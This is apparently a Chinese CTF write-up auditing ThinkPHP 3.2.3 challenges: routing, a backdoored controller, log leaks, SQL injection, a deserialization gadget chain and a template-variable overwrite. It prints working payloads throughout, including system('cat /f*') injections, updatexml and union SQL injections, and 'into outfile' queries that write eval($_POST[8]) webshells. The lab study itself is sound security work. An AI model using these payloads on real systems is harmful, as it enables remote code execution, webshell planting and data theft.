跟进一步增强php的代码审计能力,了解tp框架
从最基础的开始学习,目的不是为了一把梭,而是要明白它的原理和设计思路,为我们以后自主调试挖洞打下基础
本题使用的版本为3.2.3
ThinkPHP3.2.3完全开发手册-架构-URL模式
入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作:
http://serverName/index.php/模块/控制器/操作
这是3.2版本的标准URL格式。
payload:
http://ctf.show:8080/index.php/Admin/Login/ctfshowLogin
注意:
ThinkPHP框架的URL是区分大小写(主要是针对模块、控制器和操作名,不包括应用参数)的,这一点非常关键,因为ThinkPHP的命名规范是采用驼峰法(首字母大写)的规则,而URL中的模块和控制器都是对应的文件,因此在Linux环境下面必然存在区分大小写的问题。
需要根据题目提供的application文件来进行审计
官方手册:闭包支持,仔细了解定义就是用户可以自定义的一些特殊路由
这个路径在手册中有提到:
<?php return array( //'配置项'=>'配置值' 'DB_TYPE' => 'mysql', // 数据库类型 'DB_HOST' => '127.0.0.1', // 服务器地址 'DB_NAME' => 'ctfshow', // 数据库名 'DB_USER' => 'root', // 用户名 'DB_PWD' => 'ctfshow', // 密码 'DB_PORT' => '3306', // 端口 'URL_ROUTER_ON' => true, 'URL_ROUTE_RULES' => array( 'ctfshow/:f/:a' =>function($f,$a){//这里可以根据pathinfo的url支持模式理解 call_user_func($f, $a); } ) );
payload:
因为存在控制器后门,所以去到/Application/Home/Controller/IndexController.class.php文件:
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index($n=''){ $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8'); } }
注意其中 n 的 位 置 , 此 处 调 用 了 s h o w 函 数 , 且 n的位置,此处调用了show函数,且 n的位置,此处调用了show函数,且n我们可以自定义
自行下载tp3的完整版来跟踪一下:
protected function show($content,$charset='',$contentType='',$prefix='') { $this->view->display('',$charset,$contentType,$content,$prefix); } //既然题目要求的是渲染view中的内容,那就跟踪view中的display函数 —————————————————————————————————————————————————————————————————————————————————— public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') { G('viewStartTime'); // 视图开始标签 Hook::listen('view_begin',$templateFile); // 解析并获取模板内容 $content = $this->fetch($templateFile,$content,$prefix); // 输出模板内容 $this->render($content,$charset,$contentType); // 视图结束标签 Hook::listen('view_end'); } --------------------------------------------------------------------------------- public function fetch($templateFile='',$content='',$prefix='') { if(empty($content)) {//此处不为空,可以直接pass掉 $templateFile = $this->parseTemplate($templateFile); // 模板文件不存在直接返回 if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile); }else{ defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath()); } // 页面缓存 ob_start(); ob_implicit_flush(0); if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板(此处函数C的作用是优先执行设置获取或赋值,它有一个名字叫动态配置) $_content = $content; // 模板阵列变量分解成为独立变量 extract($this->tVar, EXTR_OVERWRITE);//EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。 // 直接载入PHP模板 empty($_content)?include $templateFile:eval('?>'.$_content);//此处为命令执行点 }else{ // 视图解析标签 $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); Hook::listen('view_parse',$params); } // 获取并清空缓存 $content = ob_get_clean(); // 内容过滤标签 Hook::listen('view_filter',$content); // 输出模板文件 return $content; }
经过上述总结需要满足点较少:
'php' == strtolower(C('TMPL_ENGINE_TYPE'))
可以通过seay定位一下,显然题目用的是php
payload:
?n=<?php system('cat%20/f*');?>
至于为什么不需要模板控制器和函数,可能是因为我们的入口文件
文件位置:
/Application/Runtime/Logs/Home/年份_月份_日.log(21_04_15.log) 此处主要针对日期进行爆破
至于为什么可以访问日志文件:日志记录
默认情况下只是在调试模式记录日志:
如果debug之前没有关,或是目录限制没做好,可能造成信息泄露.
ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,所以如果你之前在线上开启过debug目录
限制又没做好,那么就可以尝试利用
thinkPHP3.2.3sql注入漏洞
payload:
//爆表 index.php?id[where]= 1%20and%20updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) %23 //爆列名 index.php?id[where]= 1%20and%20updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flags'),0x7e),1) %23 //爆字段值 index.php?id[where]= 1%20and%20updatexml(1,concat(0x7e,substr((select group_concat(flag4s) from flags),16,32),0x7e),1) %23
public function index($id=1){ $name = M('user')->where('id='.$id)->find(); }
最后还是逃脱不了find方法,需要重视的地方无非是where,按照相同方法debug:
在外面多了一层括号,可以尝试闭合:
?id=-1) union select 1,user(),3,4%23 ?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23
thinkPHP3.2.3反序列化漏洞
<?php namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache(); } } } namespace Think\Session\Driver{ use Think\Model; class Memcache { protected $handle; public function __construct(){ $this->handle = new Model(); } } } namespace Think{ use Think\Db\Driver\Mysql; class Model { protected $data=array(); protected $pk; protected $options=array(); protected $db=null; public function __construct() { $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $this->data[$this->pk] = array( 'where'=>'1=1', 'table'=>'mysql.user where 1=2;select "<?php eval(\$_POST[8]);?>" into outfile "/var/www/html/yn8.php";#' ); } } } //初始化数据库连接 namespace Think\Db\Driver{ use PDO; class Mysql { protected $config = array( 'debug' => true, "charset" => "utf8", 'type' => 'mysql', // 数据库类型 'hostname' => '127.0.0.1', // 服务器地址 'database' => 'ctfshow', // 数据库名 'username' => 'root', // 用户名 'password' => 'root', // 密码 'hostport' => '3306', // 端口 ); protected $options = array( PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件 //PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入 ); } } namespace{ echo base64_encode(serialize(new Think\Image\Driver\Imagick() )); } ?>
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index($id){ $this->show(); $user = M('user')->comment($id)->find(intval($id)); var_dump($user); } }
debug开始,直奔主题,步入comment函数:
之前接触的是$options['where']
,现在是comment,最后还是到了parsesql:
然后步入进去:
返回值完全可以利用合并注释符号来实现用户自定义控制$comment
,并且最后都没有过滤,不过最后的问题是这样的:
我们传入的参数在limit后面,不要急,百度一下:
【转载】Mysql注入点在limit关键字后面的利用方法
其中有提到limit后面可以有into关键字所以可以,写shell拿权限:
?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[8]);?>'/*
public function index($id=1){ $name = M('Users')->where('id='.$id)->find(); $this->show($html); } ?id[0]=exp&id[1]==-1 union select 1,group_concat(flag4s),3,4 from flags
相同原理不再赘述
public function index($name='',$from='ctfshow'){ $this->assign($name,$from); $this->display('index'); }
在本地搭建一下环境,自己新建一个index.html,然后到ThinkPHP/Conf/convention.php中修改模版引擎为PHP。
protected function assign($name,$value='') { $this->view->assign($name,$value); return $this; }
传入的name不是数组,因此会进入else,返回值没有收到影响,
$name=_content $value=<?php phpinfo();?>
然后就是进入熟悉的display函数了
注意extract的位置,会将$_content 解析为变量并同时覆盖掉下面的,然后就会触发后面的eval函数,造成rce
?name=_content&from=<?php phpinfo();?> ?name=_content&from=<?php%20system(%27cat%20/f*%27);?>
ThinkPHP5 RCE漏洞代码审计